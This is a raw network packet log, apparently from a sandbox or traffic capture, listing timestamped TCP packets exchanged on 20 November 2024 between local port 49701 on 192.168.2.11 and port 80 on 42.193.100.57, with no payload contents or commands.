Nov 20, 2024 09:14:55.080173016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080195904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080208063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080219030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080229044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080229998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080251932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080252886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080260038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080281019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080302000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080334902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080346107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080357075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080367088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080374002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080383062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080389977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080398083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080419064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080436945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080463886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080476046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080487013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080496073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080502987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080507994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080519915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080523014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080535889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080555916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080588102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080600023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080610991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080621958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080625057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080648899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080673933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080681086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080693960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080704927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080718040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080718994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080739021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080756903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080830097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080842018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080852985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080862999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080869913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080877066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080878973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080888987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080900908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080909014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080929995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080939054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080950022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080955982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080962896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080981016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.081005096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310288906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310312033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310324907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310334921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310354948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310365915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310381889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310386896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310400963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310411930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310424089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310425043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310441971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310450077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310457945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310460091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310470104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310483932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310503960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310538054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310538054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310609102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310620070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310631990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310642958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310646057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310653925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310655117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310682058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310693026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310703993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310705900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310717106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310731888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310743093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310756922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310797930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310811043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310822964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310843945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310851097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310858965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310878038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310889006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310904980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310905933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310935974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310961962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.310981035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.310992002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311002970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311013937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311022043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311026096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311043024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311057091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311073065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311090946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311127901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311146975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311157942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311168909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311180115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311183929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311191082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311203003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311206102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311213970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311225891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311238050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311244011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311264038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311284065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311294079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311336040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311470032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311481953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311491966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311502934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311510086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311515093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311525106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311531067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311538935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311549902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311561108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311562061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311569929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311573982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311597109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311598063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311615944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311625004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311629057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311646938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311666965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311685085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311697006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311707973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311718941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311726093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311731100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311743021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311753035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311779976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311831951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311844110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311852932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311877966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311880112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311891079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311897039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311908007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311919928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311929941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311930895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311943054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.311943054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311970949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.311985970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312128067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312141895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312151909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312158108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312167883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312172890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312179089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312186003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312196970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312202930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312212944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312216997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312226057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312237024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312244892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312249899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312266111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312275887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312303066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312480927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312500954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312506914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312511921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312517881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312524080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312530041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312536001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312546968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312551975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312558889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312580109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312621117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312829018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312840939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312860966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312870979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312870979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312885046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312896013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312906981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312907934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312920094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312922955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312932968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312947989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312951088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312967062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312968016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312980890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.312987089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.312994003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.313004971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.313014030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.313018084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.313023090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.313031912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.313055038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.313064098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397140026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397154093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397224903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397286892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397324085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397336960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397347927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397357941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397361040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397366047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397389889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397399902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397409916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397409916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397412062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397444010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397444963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397459984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397496939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397499084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397510052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397521973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397536039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397538900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397558928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397568941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397579908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397589922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397599936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397599936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397600889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397614956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397614956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397614956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397650003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397710085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397721052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397731066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397742033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397761106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397762060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397800922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397833109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397871971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397882938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397893906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397907972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397929907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397934914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397943020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397958994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397958994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397962093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397974014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397984982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397996902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.397998095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.397998095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398009062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398019075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398021936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398053885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398104906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398128033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398139954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398150921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398161888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398173094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398175955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398185015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398196936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398216963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398216963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398240089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398262978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398273945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398288012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398297071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398324013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398324013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398350000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398361921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398372889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398381948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398402929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398402929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398451090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398483038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398494959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398505926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398515940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398525953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398536921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398552895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398552895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398552895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398572922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398578882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.398598909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.398649931 CET	49701	80	192.168.2.11	42.193.100.57
